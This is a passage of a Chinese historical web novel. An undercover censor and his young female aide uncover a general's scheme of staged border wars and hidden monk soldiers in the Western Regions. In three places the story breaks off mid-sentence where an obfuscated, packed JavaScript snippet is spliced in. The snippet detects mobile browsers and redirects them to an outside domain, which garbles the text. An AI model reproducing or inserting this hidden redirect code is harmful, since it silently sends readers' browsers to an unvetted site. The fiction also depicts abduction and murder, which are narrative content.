管胖子没好气地白了她一眼:“你一小丫……嗯,小样的,毛都没长齐,上赶着去花那冤枉钱。” 钱寅笑笑,脸上不见惊讶之色。 西域的夏季,日照极长,已是酉时,仍见大漠落日熔金,晚霞映得半壁天空好似一幅浓墨重彩的壁画。 阿四赶着马车横穿两条大街,到了一派繁荣景象的西街,停在旗风楼的门前。 这是一座极其气派的富丽堂皇的酒楼,门楣上悬挂着旗风楼匾额,进门一楼是大堂,尽东头有楼梯上二楼,二楼北面一排十来间雅间,南面通道对着大堂,用木栅栏隔着,挂着串串灯笼恰好遮挡了楼下人的视线。 伙计笑脸相迎:“爷里边请,可订了雅间?” 管胖子摇摇头:“不曾,在大堂寻张僻静些的桌子。” 伙计道:“好咧。”好意提醒,“旁的客人唯恐离得远看不清美人起舞呢。”将他们引到大堂内稍偏远的一张小桌旁。 青绿四处张望了一下,大堂摆着一二十张桌子围成一圈,客人席地而坐,正在大碗吃酒大块吃肉,圈中十几名妙龄女子踩着鼓点跳舞,头、肩、腰、臂、肘、膝、脚有节律地扭动着,阵阵歌舞声夹杂着吆五喝六的笑声在大堂内回旋。 二人在桌旁坐下,伙计递上一块板子:“茶酒肉价及姑娘的出场费都在这上头。” 青绿的目光完全被跳舞的女子们所吸引,但见随着鼓点由慢到快,女子们开始旋转,各人头上十几根长辩飞舞,裸露的挂着串串铜铃的曼妙腰肢随着胯部的摆动,发出哗啦啦悦耳的声音,那摇头扭腰晃胯的舞姿及充满诱惑的眼神,撩拨得一众骚年瞬间热血冲顶。 便在鼓声停下的一瞬间,几乎所有男子呼啦啦全站起来加入到女子当中,随着重新响起的鼓点手之舞之,足之蹈之。 鼓声聚停,一曲舞毕,男子们搂着女子坐回原处喝酒吃肉。 左侧传来一阵交谈声。 “周顺子,这杯老哥先干了,你我命苦,在都护府当个小卒连俸禄都拿不到。” 青绿徇声悄悄看去,两名看打扮象是士卒的汉子就坐在邻桌吃闷酒。 周顺子道:“訾大哥,算起来,近两年没有一次能足额发放军饷。” “不足额发放还能发放,如今连着三个月都没见着银子了,说是边境吃紧,镇南将军亲自率兵打了好几个胜仗,银子先紧着前线,缓过来再给弟兄们发放。唉,不知拖到何时,家里的婆娘都抱怨好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却是蓬莱啸天镖局老掌门的声音:“范副校尉,这是孙女连花清。我常给儿孙们念叨你在马贼刀下救了老夫,得牢记恩人的救命之恩。孙女儿对你佩服得紧,闹着要到西域当面给英雄敬酒,这不,趁现在气候适宜,我便将她带来了。” 青绿心里打了个哆嗦:凡副校尉?二哥? 不动声色地顺着半开的门看去,正对着门坐在主位上的英姿飒爽的青年士卒,不是二哥凡非凡还能是谁? 虽多年未见,但那张英气勃勃的脸除了黑些以外,墨染的双眉,漆黑的眼眸,挺直如锋的鼻梁,棱角分明的嘴唇,尤是下巴正中的那道深沟,只是按原样放大了一号,其余无甚改变。 坐在他身旁的吃花美人连花清,俏脸泛红,纤纤玉手举着一盅酒站起身对凡非凡道:“小女子敬范文哥哥一杯,谢范文哥哥救了爷爷。” 凡非凡似乎有些意外,顿了顿,还是接过酒杯仰头一饮而尽。 吃花美人满脸满眼的娇羞坐回原处。 伙计出来随手带上房门,却关不严实,仍有说话声断断续续透出:“听说范副校尉是京师人士,高堂可还安在?……唔,英雄不问出处,恕老夫多言。” 范文?青绿纳闷,二哥从军难道一直隐藏了身份?随即心下了然,以亲爹的高风亮节,必定不让凡家儿郎在外打着自己的旗号招摇撞骗,欲求取功名,全凭个人本事。 她忍不住想进去叫他一声“二哥”,可一想到管胖子不可暴露身份的叮嘱,便又有些犹豫,脑子里天人交战间,房门打开了,凡非凡大踏步走了出来,她忙将头缩进肩膀里。 凡非凡拦住欲送出门的祖孙二人,以不容置疑的口气道:“连掌门请留步,范文不日将要巡视边关,怨不能作陪。”扭头大踏步下楼。 青绿那声“二哥”生生堵在了嗓子眼上。 身后却有连花清带着哽咽的声音:“公子保重,我等你平安归来。” 青绿忍不住回头看向连花清,但见她满目含情痴痴地凝望着二哥高大的背影,吃花仙子看来是动了凡心。 一直目送凡非凡的身影在一楼大门外消失,连花清收回目光,狠狠地瞪了青绿一眼,转身进了雅间,背对着门朝后伸出一脚狠狠将门踢上。 砰的一声巨响,震得青绿极为不爽,心里憋了一口闷气:吃花美人,你得罪了未来的小姑子知道不?想当我嫂子,呵呵,犯花痴呢。 青绿站起身拍拍屁股,才要挪步回亚子古丽,一名满身酒气的高瘦男子脚步踉跄朝楼梯口走来,到了她跟前已是摇摇欲坠。 青绿闪身靠在楼梯扶手上避免与他相撞,孰料他身子突然朝前一扑倒了下来,连带着把她也扑倒在地,一只胳膊被他压在身下。 青绿怒目圆睁,用脚踢他:“醉鬼,可恶。”却觉着自己的手里被塞进了一样物件,耳边响起一个细到几乎听不到的声音“离开乌垒”。 29. 第二十九章 血腥 青绿握着手里的物件正要向高瘦男子问个究竟,便此时,身后有四五名汉子急急跑来,青绿眼疾手快将物件顺进袖子里,顺势坐在楼梯口。 两名男子上前一左一右将倒在地上的高瘦男子架了起来,嘴里道:“说好的不醉不归,大人不过才喝了几口西凤酒,便想躲了不成?” 高瘦男子似乎已醉得七荤八素,大着舌头道:“哥们,我不行了,再喝下去便娘们光着身子站在我面前也不顶用了。” 一名一脸横肉的男子哈哈大笑道:“哈哈,不碍事,兄弟有醒酒药,还有回春汤,包管大人回府后通宵快活,多厉害的娘们都得讨饶。” 高瘦男子嘻笑道:“哥们我真真不行了。”言罢,头一歪便倒在其中一名男子身上。 横肉男子对同伴使了个眼色:“如此,兄弟们只能送大人回府了。” 几名男子簇拥着瘦弱男子朝楼下走去,横肉男子跟在最后,青绿起身待要回雅间,一抬头,却碰上他投过来的阴恻恻的目光。 青绿心里一惊,便见横肉男子突然止住了下楼的脚步道:“你是汉人?这里的?”头朝丝曼古丽雅间点了点。 青绿不想暴露自己的去处,以免有人注意到管胖子,便似是而非地转了一下头。 不料男子却突然推开她身后雅间的房门,里面的连啸天及连花清一脸惊愕。 连啸天却是认得横肉男子的,忙不迭出门热情招呼:“孟捕头,进来喝一杯?”脸上是不无讨好的神态。 孟捕头看了他一眼道:“是连老掌门啊,打扰了,正办差呢。”下巴朝青绿扬了扬,“老当家可认识他?” 连啸天看了看门外的青绿,似乎正掂量着如何回答,一旁的连花清却撇撇嘴,鄙夷道:“这个叫化子么?不认识。” 连啸天躲着青绿巴巴的眼神,亦摇头道:“不认识。” 孟捕头手一挥,喝道:“带回去。” 一名男子上前扭住青绿。 青绿有些发急,姓连的你们几个意思?不过上下嘴皮子一嗑的功夫,便没我啥事了。亏得管胖子救过吃花美人你,还与连老爷子你说好一块做生意的。 再看连啸天小心谨慎对待孟捕头的态度,她一下便明白了,多一事不如少一事,何苦为她一个陌路相逢的商贾的小跟班,而惹上不必要的麻烦。 楼梯口一名女子娇媚的声音成功转移了孟捕头等人的注意力:“孟捕头辛苦啦,这个时辰不在雅间吃酒,还惦记着办差呢。” 伴随着话音,一名一袭金丝花纹大红纱裙,朵帕小花帽帽沿上插一根翠绿孔雀羽,轻纱遮脸的娉娉婷婷的女子,玉指轻提裙裾沿着楼梯缓缓拾级而来,身后是一名抱着一架卡龙琴的小丫鬟。 孟捕头如同被天上掉下的馅饼砸中了脑袋一般,脸上顿现惊喜之色,忙不迭扒拉开同伴让出通道,自己侧身贴在栅栏上对女子道:“不敢,吃的便是这口饭,让兮凤姐见笑了。” 青绿灵机一动,挣脱男子的手臂,上前对兮凤姐行礼道:“小的奉钱大姑之命在此恭候兮凤姐。” 乖巧地上前接过小丫鬟手中的卡龙琴。 兮凤姐道:“让钱大姑在雅间久等了。” 青绿点头,点头,拚命点头。 兮凤姐对孟捕头道:“孟捕头降尊,听奴家弹奏一曲再走?” 孟捕头笑容满脸道:“既是钱大姑请姑娘,我等便不打扰了,回见。”领人速速下楼追赶同伴。 连廊上,有人打开雅间的门,忽然发出一声惊呼:“快看,是兮凤姐。” 雅间里的人呼啦啦全挤了出来,有人感叹道:“兮凤姐从不轻易离开凤巢,多少文人墨客商贾大佬,在栖凤阁一掷千金亦未必能见其一面,今日是何方人物?有这泼天的本事能让她移步旗风楼,真真羡慕嫉妒恨。” 青绿回头得意看去,便见连花清恨恨地盯着自己,眼中有惊诧也有遗憾。 连啸天的目光却是五味杂陈,可惜青绿并未听到他对连花清的说话,否则会更加得意。 连啸天道:“虽说这小子不过是个下人,但得罪了他,无疑于得罪了西域商界大佬钱寅,唉,这些个不起眼的小人最好在主人面前嚼舌根。” 亚子古丽雅间内,趁众人隔着屏风如痴如醉地倾听兮凤姐弹奏之机,青绿轻轻扯了扯管胖子的袖子。 管胖子起身对钱寅等人道:“侄儿上趟茅厕。” 二人在楼梯拐角处立定,装作看大堂内的歌舞。 青绿将高瘦男子塞给她的物件交给管胖子。 管胖子脸上带着疑问展开物件。 连廊内的灯光十分明亮,青绿清楚地看出这是一块巴掌大的布片,应该是临时用刀从衣裳的某个地方割下来的,上面是鲜血写就的“僧兵萨”三个字,字迹有些暗红,仿佛还带着一丝血腥味。 却见管胖子脸色大变,双眸紧盯着青绿,声音压得极低问道:“此物从何而来?” 青绿将方才所发生的事对他说了一遍。 管胖子问:“那人的长相?” 青绿道:“瘦高个。” “与你说了些什么?” 青绿极力回忆那个细到几乎听不到的声音:“好像是说‘离开乌垒’,听得不甚清楚。” 管胖子握紧的拳头青筋突爆:“此地不能久留,得尽快离开。” 青绿的心提到了嗓子眼:“即刻离开么?” 管胖子道:“现在突然离开会引起旁人疑心,再说乌垒一过酉时便关闭城门禁止出入,只能明天一早走了。” “今晚出事咋办?” “轻易不会有人来骚扰钱府。” 青绿稍稍安心。 回钱府的马车上,青绿问管胖子:“写这条子的是何人?” “监军御史萨国武。”管胖子语气变得沉重,“萨国武是凉州人,历任游徼、县尉、郡丞……左冯诩丞,实实在在是从底层干上来的。” “他为何将布条交给我,我又不认识他。” 管胖子沉思着道:“你是兰台唯一的女子,或许他见过你,又或许他明知你是陌生人,但却是他送出情报的最后也是唯一的机会。” 青绿迟疑道:“他肯定是遇到危险了,不想办法救他么?” 管胖子摇摇头:“这里是镇西将军刘意的天下,他手握重兵,别说救人,连我们都自身难保,这也是萨国武说‘离开乌垒’的原因。” “你那身大红绣服也不好使?” “陛下御旨查武威郡上计事,并不可以无边界办案。目前我们要做的最重要的事是想办法查清‘僧兵’是何意。”管胖子语气深沉,“有时候,放弃是为了更好地办案。” “他们,会不会杀他?”青绿的心似乎被针扎了一下。 “当然不能明着杀,或许明面上他会死得很壮烈。”管胖子牙齿咬得咯咯响,腮边两个肉肉的酒窝被硬生生挤成了两条长缝。 青绿喃喃道:“御史会死,侍御史会不会死?” 管胖子恢复了平静,眯缝着眼道:“是人都会死,但看是否死得其所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在刘意看来,女子的躯体是一具空壳,肚脐才是那点睛之笔,唯有肚脐能让躯体鲜活起来,所谓女子的活色生香,全在于肚皮上的这只眼,故凭你外壳多完美,若腰不细,神厥穴——肚脐眼不美,便都不算美人。 美人必须肌肤丰腴雪白中透出淡粉,小腹微隆,肚脐小而呈纵向椭圆形,陷于内而深不见底,若肚脐下有一条若隐若现腹中线的便可称为极品。 他性情暴躁极是冷血,对待掳掠来的女子,如觉着肚脐不好看,便毫无人性地一剑斩杀;而一旦听说有哪位女子的肚脐长得好,便会不惜一切掠回将军府。 一次在乐司坊喝花酒,都护府长史的次子与酒友大谈闺阁趣闻,说自己娘子的肚脐如何如何好看,此事传到刘意耳中,他令人在长史府邸门外守候多日,趁那女子回娘家之机,将她抢回府中数日,玩腻了方才放其离去。 女子出身有头有脸人家,知书识礼,回到府中将自己受辱过程诉之于丈夫后,一条白绫结束了年轻的生命。 长史如何忍得下这奇耻大辱,但他是文官,不是刘意的对手,便刺破手指头写下一封血书,驷马连夜进京告御状,临近阳关,马突然受惊蹿下山崖,三日后找到其尸,仍是双目圆睁。 时隔不久,长史府邸起了一场不明不白大火,一家三十几口全部葬身火海,从此众人对此事噤若寒蝉。 管胖子语气愤慨:“我一直想办他,苦于没有证据,甚至无人敢出来做证,因为,他是皇长子。” 青绿目中似要滴血:“不办他,天理难容。” 心下不禁担忧起二哥的安危来。 30.第三十章 刘意 此刻,镇西将军府书房内,镇西将军刘意一边用剑鞘梆梆敲着桌子,一边破口大骂:“一群废物,就这么点破事都干不好,要你们何用?” 几个月前,监军御史萨国武向他禀报:接到投诉,都护府克扣军饷,还查出账目多处造假。都护柴淮阳向萨国武解释,这几年随镇西将军征战,花了不少银子。萨国武遂向刘意提出去边境巡查,刘意指使心腹曹冲天在汉匈车三国交界处搞了一场伪战,却险些被拆穿。 一名甲胄未脱的青年士卒跪在刘意跟前磕头道:“是小的们辜负了将军的期望。” 一旁站着的一名持鹅毛扇的中年男子开口问青年士卒:“冯司马,这场伪战已准备多日,如何便露了马脚?” 此人生就一副南方人的清俊容貌,是将军府的参军,姓曹名冲天,字一飞,姑苏人氏,出身于耕读世家。 曹冲天五岁开蒙,十六岁入郡学,习六甲五方书计之事,掌握狄、蛮、戎、夷等语,在朝廷一次特选中脱颖而出,出任西域都护府译丞,很有些谋略,被刘意挖来做参军,专为刘意出谋划策。 冯司马是都护府都护柴淮扬的亲信,职掌都护府日常管理。 冯司马恭谨答道:“当日柴都护亲自领兵,按照将军的部署到了汉匈车三国交界处,原与车师国议好,由车师人扮演匈奴人佯攻我边境,待我部反击后便退却。孰料车师人戏演得太假,我部还没开始进攻,他们便大喊‘汉军来了,快逃啊’,一下便跑散了,只剩少数安插在车师人中的僧兵装模作样负隅顽抗。” 刘意目光瞥向曹参军,冷笑道:“安排得天衣无缝啊。” “萨御史一见敌方溃不成军,便喊‘抓活的’,身先士卒冲向敌阵,逮了几个俘虏,当场审讯,有俘虏供出自己是当地戎民,收钱扮作匈奴人,萨御史拔剑要杀俘虏,一名俘虏是僧兵假扮的,大声嚷嚷‘为何动真格?’柴都护一剑砍了他的脑袋,对萨御史说别听他们胡说,萨御史当场也没说什么。” 刘意怒道:“滚。” 曹参军摇着鹅毛扇对冯司马道:“转告柴都护,令昨日参战的士卒全都闭嘴,不许再提御史二字。” 冯司马抱拳作揖:“诺。”躬身倒退几步后,转身大踏步而出。 曹参军看着刘意的脸色,小心亦亦道:“昨日柴都护在栖凤楼给萨御史摆接风宴,期间萨御史想离开,被都护的几个心腹拦下,回府途中,萨御史拔剑顽抗,当场被杀。” 刘意拿起桌上的琉璃茶盏狠狠朝地上一砸:“都是无脑的,敢杀监军御史,是怕不能引起朝廷的注意?消息一旦传出,兰台那帮狗贼肯定闻风而动。” 曹参军胸有成竹道:“将军息怒。昨夜柴都护来请将军示下,将军不在府内,我便让他将尸体悄悄运往边境,今日再大张其鼓运回来,只说萨御史在边境御敌战死,过段时日将军可上奏替他请功。” 刘意脸上怒气稍缓,端起桌上的茶杯喝了一口道:“武威传来的消息,管胖子办了武威太守和姑藏县令后,去向不明,若来乌垒,估算一下日子,这当口正好到达。这条父王豢养的看门狗,嗅觉极为灵敏,不能不防。”提到管胖子,刘意脸上显出狠毒表情。 曹参军自信道:“在下已收到线报,故昨夜便派人守在所有通往京师方向的关口,天一放亮,便开展全城搜捕,管胖子真敢悄悄潜入西域,便让他无声无息地成为一具干尸。” “昨夜有谁见过萨国武?” “柴都护带着孟捕头等五六人,都是信得过的兄弟。” 刘意做了一个抹脖子的动作:“让孟捕头等人即刻消失,一个不留。”默了默,“令柴都护前往于阗国安抚好僧兵,把事闹大了不好收拾。” 曹参军瞳孔收缩,双手紧握鹅毛扇柄沉声道:“遵令。” 室内一时陷入沉默,良久,刘意问:“范副校尉那边如何?” “我们谋划的事,都护府只有柴都护及冯司马几个心腹知晓。至于范副校尉,一门心思领兵打仗,余事不感兴趣,为了避免他与监军御史过多接触,柴都护借护送精绝国王到玉门关的理由将他支开,昨日他才回到乌垒城,对此事一无所知。” “如此甚好。有他在,内,可堵朝廷悠悠众口,他说一句边境战事紧张,比我在父王面前说十句都管用;外,可抗击敌人,看到他那张脸,西域各国的乱臣贼子野心都收敛了几分。” 范文是凡府二公子凡非凡只有刘意知晓,这是当时的凡丞相一再叮嘱刘意的。 一名面目姣好的女子捧着茶盘施施然进来,给二人倒茶。她生得黛眉红唇,绫罗绸缎裹身,下裳是长及脚踝下摆宽大的桔色长裙,上衣是短至胸部的黄色紧身衣,小蛮腰露出一段动人雪白。 女子送完茶水欲离去,刘意将她拉进怀里。 曹参军知趣退出,未走几步,又听到刘意道:“回来。” 曹参军折回,垂手而立听候刘意指示。 刘意却不急着说话,右手食指在女子肚皮上横竖撇捺了一会,又出了一会神,方沉吟道:“给父王的寿礼还没考虑好?别再跟我说送什么异域美人,年年都送,这些个庸脂俗粉却没一个能爬上他老人家的龙床。” 曹参军恭敬答道:“末将近段时日一直在考虑这件事,倒是有个主意。”他欲言又止,看了一眼刘意怀里的女子。 刘意拍拍女子绯红的脸颊道:“滚。” 曹参军低垂着头,声音不大:“请将军于千秋节在大殿上交出虎符。” 千秋节为皇帝诞辰日,届时举国同兴。 刘意大吃一惊,不敢置信地看着他,继而勃然大怒,拿起桌上茶盏朝他砸去:“让老子交出虎符,你脑子进屎了吧。” 曹参军似早有预料,在茶盏砸过来之时,头朝右一偏,堪堪躲过,他身后的窗户却躲不过,哐当一声,窗框上镶着的琉璃被砸得稀巴烂,琉璃渣子溅得四处都是。 刘意一看没有砸中曹参军,更为光火,扭头寻更称手的物件,一时半会却没有比茶盏更强大的武器,便随手将桌上的文房四宝等物胡乱朝曹参军扔去。 曹参军神色如常,兔子般左躲右闪,气喘吁吁道:“将军息怒,请听末将说完。” “息个屁的怒,你小子不是常说枪杆子里面出江山么?现在倒好,为着怕管胖子,便让我交出兵权,是何居心?” 饶是曹参军蹦跶得欢,最终还是被一件带着体温的柔软物件砸在脸上。 手边已无什物可扔的刘意还不解恨,起身拿起架在剑架上的佩剑作势要砍他脑袋,却见他脸上挂着一件女子的粉色肚兜,样子很滑稽,刘意突然便笑出声来。 曹参军扯下脸上的物件露出眼睛那一刻,刘意来不及将脸再板回去,只好忍住笑意,将剑尖移到他肚皮上,嘲讽道:“你小子有何坏水?赶紧给老子吐出来,别憋在里头养王八羔子。” 其实刘意很清楚,曹参军这些年一直在殚精竭力辅佐自己,夸大边境摩擦,套取朝廷银子在沙漠深处豢养僧兵便是他的主意。现却猛不丁要他交出虎符,一下不知道他葫芦里要卖什么药了。 曹参军从腰后拨出鹅毛扇轻轻摇着,神态淡定道:“将军,不才是这样考虑的,现如今监军御史死在西域,势必引起朝廷注意,兰台也不会善罢甘休,且范副校尉已向都护申假回京祭拜爹娘,都护没理由不准。虽然我们所谋大业皆瞒着他,但边境无大战事却是瞒不了的。” 刘意点头:“怕的便是他回到京师,必如实向父王上报战况。如此,种种情况汇聚,克扣军饷、谎报军情等还是小事,僧兵之事一旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463300|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有风声传入父王耳朵,便坐实了老子拥兵自重。”眼神示意曹参军,“坐下说。” 曹参军坐下半个屁股,抿了抿干涸的嘴唇,继续道:“让将军交出虎符,意在向陛下表忠心。试想,陛下听了满耳朵西域的情报,估摸着心里已对将军有所猜忌。” 刘意道:“哪又如何?” “朝中传来的消息,立储已暗地里提上议事日程,若储君不是将军,陛下因为忌讳将军手握重兵,若再听到对将军不利的传闻,便封将军一个无需领兵打仗的内地王,顺理成章收回兵权。” 刘意一手提剑恨恨朝桌上一拍:“那你说咋办?等死不成?” 曹参军胸有成竹:“将军在陛下寿宴上,以当今西域叛乱已平的理由突然交出虎符,摆出将军其实并不贪恋兵权的样子,陛下必定龙颜大悦,这叫以进为退。” “话虽如此,但若弄巧成拙,父王真的收回虎符,我用什么指挥军队?难道眼睁睁看着储位落于他人之手?砍了我的头也不能够。再说若我交出兵权,镇南将军岂不是一家独大?”刘意不耐烦地用剑敲打着桌面,愤愤然道。 几位皇子中,只有大皇子刘意及四皇子刘璃掌兵权,分封镇西、镇南将军。 曹参军缓缓摆动鹅毛扇:“不是让将军真的交出兵权,而是做做样子。将军您想,您贵为皇长子,陛下的兵权交到谁手上都不如交到自已个亲儿子手上踏实,陛下认为将军无夺嫡之心,自然更要重用,故您交出虎符,只有两种可能。”顿了顿。 刘意急道:“有屁快放。” “一种是继续留在西域,另一种是与四殿下互换,去南边,南边对将军更为有利。西域号称几十国,却如一盘散沙,国王多过沙蟹,各有各的心思,极难聚拢;而南越王赵建翎一直都有野心,若不是南越世子赵一航在京师为质子,恐早已树起造反大旗了。” 刘意插话道:“南越世子我见过,生得好生整齐,倒不似来自未被教化的南蛮之地。” 曹将军点点头:“若将军能与南越王联手,比在西域与匈奴人联手要简单得多,匈奴人胃口太大,成事后一看我大汉水土肥沃,物产丰富,娘们水灵,未必不会背信弃义赖在关内不走了,那才真是引狼入室。” 刘意沉吟:“培养多年的僧兵便弃之不用了?” “那些僧兵都是些亡命之徒,将军之前待他们不薄,再许以厚?前程,自然会死心塌地追随将军,将他们迁往南边,蛮荒之地,山高林密,十万八万的兵卒也隐藏得了。当然,这都是后话。” 这倒也不失为一个以退为进的妙招,刘意听得两眼放光,兴奋道:“狗奴才,心思堪比孙子,来日定封你做个大将军。”剑柄狠狠敲了曹参军肩膀一下,“匈奴人胃口确是欲壑难填,上次我在边境与右贤王阿臣接触,他一张口便向我要绸缎千匹、女子百人。” 曹参军负痛,却笑道:“我不是还将膳房的两名柴火妞充当大户千金送给他,乐得他嘴角咧到了后脑勺。” 刘意哈哈大笑,大声朝外喊道:“巴乐。” 方才送茶的女子迈着小碎步急急入内,脸上一层薄薄香汗。 刘意将剑鞘抵着她跌宕起伏的前胸笑道:“小贱人,往后你便侍候参军大人吧。” 曹参军与巴乐均是一愣。 巴乐眼里瞬间盈满委屈的泪水,刘意家眷在京师,她一直以小妾身份在他身旁侍候,甚为得宠。 刘意摆出这副姿态是让曹冲天明白,跟着他刘意打天下,好处大大的,高官厚禄算甚?心爱的女人说送便送。 刘意刻意笼络各方人心,他在等待一个时机,夺取属于自己的天下。 说起来,他的夺位野心并非毫无缘由,甚至从一定意义上说,是其亲爹熙元帝刘芳一手造成的。 31.第三十一章 脱险 当今天子刘芳为太子时,奉旨娶静阳长公主与新安侯柳寿十五岁的嫡长女柳鸿晏为侧妃,先帝放话,柳氏一旦诞下皇子,即立为皇后。 整整三年,刘芳身边有且仅有柳氏一个妃子,柳氏却不曾诞下一男半女,到第四个年头,柳氏肚皮终于隆起,刘芳却偶遇了李楚瑶。 那是一个春日,雨后初晴,树上的嫩芽绿如翡翠,湿润的空气里满是甜丝丝的清新,刘芳从锦安坊出来回未央宫,错进了一个静谧的胡同。胡同尽头是一座深宅大院,六级台阶的门槛上坐着一名七八岁的小女孩,精致小巧的的杏仁脸,淡淡蛾眉下,一双大大的杏眼,乌黑的瞳人黑白分明,澄澈干净。 小姑娘便那样安安静静地坐着,小手撑在膝盖上,托着粉嫩如玉的小腮帮举头望天。 刘芳从来没有见过如此漂亮的小女孩,不由走过去在她身旁蹲下,柔声问道:“小妹妹,你在看甚?” 小女孩将视线从天上缓缓落到他脸上,张开薄薄的红润小嘴轻声道:“小妞的哥哥带小妞去捉泥鳅了。” 春天的泥鳅多而肥美,抓着了也能滑溜溜地从指缝间溜走,刘芳儿时每每参加完皇帝籍田礼后,便与皇兄皇弟满地里扑腾抓泥鳅,滚得满脸满身坭巴只露出一双眼睛,晾干后放进土窑估计也没人怀疑不是叫化鸡。 刘芳心驰神往,不由嘴角微翘。 他看着小女孩的一双秋水眸子,长长的睫毛微微颤动,听她开口道:“小妞的哥哥带她去捉泥鳅了,大哥哥好不好,咱们去捉泥鳅?” 刘芳的心瞬间被她那句“大哥哥”萌化,竟不避拐骗幼女之嫌,拉起小姑娘柔荑般的小手,慷慨应道:“走,大哥哥带你去捉泥鳅。”那情形,似乎是在答应给她整个天下。 这名天真烂漫的小姑娘便是李楚瑶,侍中李功略的嫡长女。 李氏一门原籍江南,阀阅门庭,虽非世代簪缨,却也是世代经学,大汉开国以来,一直有人在朝为官,到了李功略这一代一脉相承。 侍中官秩不高,但身居君侧,在宫中备顾问应对,位卑而职重。 刘芳登基,改纪年为熙元。年末,柳氏为他诞下一个白胖儿子。 熙元帝为儿子取名刘意,寓意事事顺意,却不曾提起立柳氏为后的话题。 柳氏委屈,在静阳长公主跟前哭诉,静阳长公主旁敲侧击提醒帝弟,刘芳却罔顾左右而言他。 静阳长公主只能安慰自家女儿:“皇帝虽然陆续纳了不少妃子,但至今没谁越过你去,皇后不皇后的不过名分罢了,后宫横竖都是你最大,儿子也是刘意为长。” 话虽这么说,静阳长公主心里也不托底,但此时先帝已崩,生下儿子便立后的话是先帝说的,不是现帝说的,上哪说理去? 熙元七年,皇帝立后,皇后不是柳鸿晏,而是十五岁的李楚瑶。 满朝文武恍然大悟,后位虚待七年,天子在等小姑娘长大。 柳氏盼不到皇后宝座,便只能盼皇后生不出儿子。孰料李楚瑶第二年便诞下三皇子刘纯,两年后又诞六皇子刘睿,至此,李楚瑶皇后宝座坐得是稳稳当当。 柳氏满腹酸楚,人前不敢说,人后搂着儿子默默落泪。 刘芳自知此事自己做得有些理亏,于是对柳氏母子恩宠有加,先帝有四位婕妤,他自降标准,单单册封了柳鸿晏一位婕妤,除了皇后在上,无人与柳氏平起平坐,对刘意则是所求必应。 都说外甥肖舅,身材高大的刘意从小便跟着舅舅柳立雄练习十八般兵器,学有所成,拜为镇西将军,驻守西域。 刘意岂是一个小小西域便能满足得了的?每每想着若是生母柳氏为皇后,自己毫无悬念便是太子,这将来的天下全是自己的,故打定主意,皇帝一日不立太子,他便当镇西将军一日,倘若立了太子却不是他,他会为自己也为生母讨个说法。 却说翌日一大早,管胖子便向钱大姑辞行,迫不及待要回去进货。 钱寅把玩着手中的核桃,一脸笑意地表示理解。 三人一车欲从东门出城,青绿远远看见城门紧闭,一队兵卒守在门前,她很是紧张,问管胖子:“萨国武真的出事了?” 管胖子让阿四靠路边停车,自己下车拦了一名迎面而来的牧人打扮的老者:“老哥,出了何事?” 老者语气很无奈:“官府今早贴了告示,说有匈奴细作杀了衙门捕头,现在满城搜捕,我的羊还在城外的苜蓿地里。”上下打量着管胖子,眼里满是疑惑,“告示上说那名细作是汉人,身形肥大,都护府正在全城搜捕肥胖汉人。” 管胖子故作轻松地摆摆手道:“我不是汉人。”他套着一件圆领长褂,象本地人。 青绿在语言上的天赋极高,一路行来,西域通用的话能听懂七八分,不禁为管胖子担忧起来。 老者忿然:“为抓个胖子而封城门,得耽误多少功夫。”摇头叹气离去。 管胖子对阿四道:“走西门。” 西域大多数国家是一国一城,只有东西两个城门,交通要道便从城中穿过。 西门亦如东门,同样有士卒把守,所不同的是西门开了一扇小门,正在一个一个地甄别放人。 路边停着不少等候出城的马车。 阿四把车停在一块硕大的山石后。 青绿站在石旁,看一眼城门,再看一眼躲在石后的管胖子,估计他今日混不出那扇小门,因道:“回钱府吧。” 管胖子摇头:“不行,看这架势,一会就会挨家搜查。” 青绿的心凉了半截:“这可咋办?” “一会你们先出城,我再想办法。” 青绿摇头:“不可。便算我混出城,也不知该往何处去。”开玩笑,怎么可能抛下上司自己先溜。 管胖子板着脸道:“听话,别忘了我们的任务。” 青绿不与他争辩,伸长脖子往前看,募地,她睁大了眼睛,呼吸也变得急促起来。 一名高大威武的青年男子正朝她走来,晨风鼓荡起他肩上的披风,似乎给他披上了翅膀,晨光斜照着他的脸颊,下巴正中的那道深沟更如刀刻般深刻。 二哥,是二哥,青绿按捺住要从嗓子眼里跳出来的心,目光投向管胖子。 管胖子显然也看见了凡非凡,迎着青绿的目光轻轻摇了摇头。 青绿心一横,既然二哥看到她了,顾不了那么多,认了再说。才要迎上前去,却看二哥无视她饱含热泪的目光,走到山石的另一边。 青绿这才注意到,他们刻意挑选的这个山石后的僻静之地,不知何时停了另一辆马车,一名花容月貌的女子目光炽热地看着二哥,但见她高鼻深目,娇小的脸型和精致的眉眼,有着奇特而夺目的美丽,细腻如羊乳的皮肤白得发光。尽管一身风尘之色,但一双眸子仍如秋日晴空般明净。栖凤楼的兮凤姐。 兮凤姐便那样静静地看着二哥,既没有故作成□□人的妩媚,也没有装出清纯少女的天真,只是满目深情地看着他浓眉下那双漆黑的大眼睛,唇角现出柔柔的弧度。 二哥走到兮凤姐身旁,二人互相施礼毕,用本地语言交谈起来。 青绿竖着耳朵,听见他们似乎在说马车的货也要检查之类的。 